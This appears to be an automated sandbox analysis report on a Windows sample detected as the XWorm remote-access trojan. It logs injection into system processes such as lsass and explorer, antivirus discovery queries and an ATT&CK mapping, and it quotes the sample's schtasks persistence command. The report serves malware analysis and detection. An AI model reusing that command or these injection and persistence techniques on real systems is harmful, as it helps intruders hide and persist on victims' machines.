Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FE9F0000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FEA20000 value starts with: 4D5A	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\Desktop\wzcsvc.exe

Memory written: PID: 4056 base: 8700000 value: 4D

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1CA7D1B0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\lsass.exe base: 17D2DD20000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 22F4B8F0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dwm.exe base: 262F1EA0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 23942AE0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF056A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2287AD40000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B94DA60000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 25202540000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A9EBF90000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 19FF1600000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A76A170000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 14D26990000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2175D5C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B0AB960000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2129B2A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 26384180000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 25178730000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1495FCF0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 22125D90000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 297A5D80000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2D0F41C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C325340000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AEFC900000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F3530000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D326280000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 16131E60000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AE137C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C93A3B0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E2E4190000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1450000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AB68FA0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 265951C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2C263510000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E120000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18198580000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1EF3C5C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 17ACFCF0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E8E330000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5A2950000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD340C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B653790000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B19A0E0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 24730B30000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 15F35DA0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\sihost.exe base: 200792F0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18CE9170000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D959540000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18F1A9A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FF01350000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 221D2530000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D400530000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\explorer.exe base: 8700000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 27844DD0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 258B00D0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FA9A260000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1BFB71A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 26982020000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 185706E0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1496A4A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\dllhost.exe base: 190043F0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 16215D30000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 159AD5E0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 221570C0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8E5260000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 189090B0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 24BB06E0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BD9B7A0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 212DAEE0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\conhost.exe base: 1EF4F460000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E594900000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 18C88430000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 18FE0970000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1FDE2F60000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 2675A1B0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Users\user\Desktop\r8k29DBraE.exe base: 2616F300000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1CE10000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 21681980000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3BD0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE26F0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE3D690000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 25731DD0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\conhost.exe base: 19417AC0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FE9F0000	Jump to behavior
Source: C:\Users\user\Desktop\wzcsvc.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1B0FEA20000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE2680000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Users\user\Desktop\wzcsapi.exe base: 1BF20000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE26C0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 2234E0D0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 13DE26F0000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\WerFault.exe base: 265B3580000

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsapi.exe "C:\Users\user\Desktop\wzcsapi.exe"	Jump to behavior
Source: C:\Users\user\Desktop\r8k29DBraE.exe	Process created: C:\Users\user\Desktop\wzcsvc.exe "C:\Users\user\Desktop\wzcsvc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe"	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 1408 -s 1088	Jump to behavior

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD1B4C AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

4_2_00007FF6B5AD1B4C

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD1B4C AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

4_2_00007FF6B5AD1B4C

Source: dwm.exe, 0000000E.00000002.2687636914.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp, dwm.exe, 0000000E.00000000.1380454228.00000262EB2B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Managerd
Source: winlogon.exe, 00000006.00000000.1359296508.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2653092837.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000002.2690684615.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 00000006.00000000.1359296508.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2653092837.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000002.2690684615.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 00000006.00000000.1359296508.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2653092837.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000002.2690684615.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: winlogon.exe, 00000006.00000000.1359296508.000001CA7D6F0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000006.00000002.2653092837.000001CA7D6F1000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 0000000E.00000002.2690684615.00000262EB6C1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Code function: 1_2_000002616F313C60 cpuid

1_2_000002616F313C60

Source: C:\Users\user\Desktop\r8k29DBraE.exe	Queries volume information: C:\Users\user\Desktop\r8k29DBraE.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\wzcsapi.exe	Queries volume information: C:\Users\user\Desktop\wzcsapi.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VolumeInformation

Source: C:\Users\user\Desktop\wzcsvc.exe

Code function: 4_2_00007FF6B5AD1B4C AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

4_2_00007FF6B5AD1B4C

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Code function: 1_2_000002616F597970 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_000002616F597970

Source: C:\Users\user\Desktop\r8k29DBraE.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: wzcsapi.exe, 00000003.00000002.2666839520.000000001B878000.00000004.00000020.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2666839520.000000001B7B0000.00000004.00000020.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2666839520.000000001B88E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000017.00000003.1476685922.000002A76AE63000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000003.1476275111.000002A76AE63000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000017.00000000.1446658941.000002A76AE63000.00000004.00000001.00020000.00000000.sdmp, Amcache.hve.8.dr, Microsoft-Windows-Diagnostics-Performance%4Operational.evtx.23.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\wzcsapi.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 3.2.wzcsapi.exe.28cf290.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.1bee0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wzcsapi.exe PID: 6880, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 3.2.wzcsapi.exe.28cf290.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.1bee0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.28cf290.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.wzcsapi.exe.1bee0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wzcsapi.exe PID: 6880, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	Logon Script (Windows)	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	24 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	2 Obfuscated Files or Information	NTDS	351 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	22 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	3 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	4 Rootkit	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	111 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Access Token Manipulation	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	713 Process Injection	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	1 Hidden Files and Directories	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
r8k29DBraE.exe	67%	ReversingLabs	ByteCode-MSIL.Trojan.Heracles
r8k29DBraE.exe	100%	Avira	TR/AVI.Agent.nhchy
r8k29DBraE.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\wzcsapi.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\Desktop\wzcsvc.exe	100%	Avira	HEUR/AGEN.1362795
C:\Users\user\Desktop\wzcsapi.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\wzcsvc.exe	100%	Joe Sandbox ML
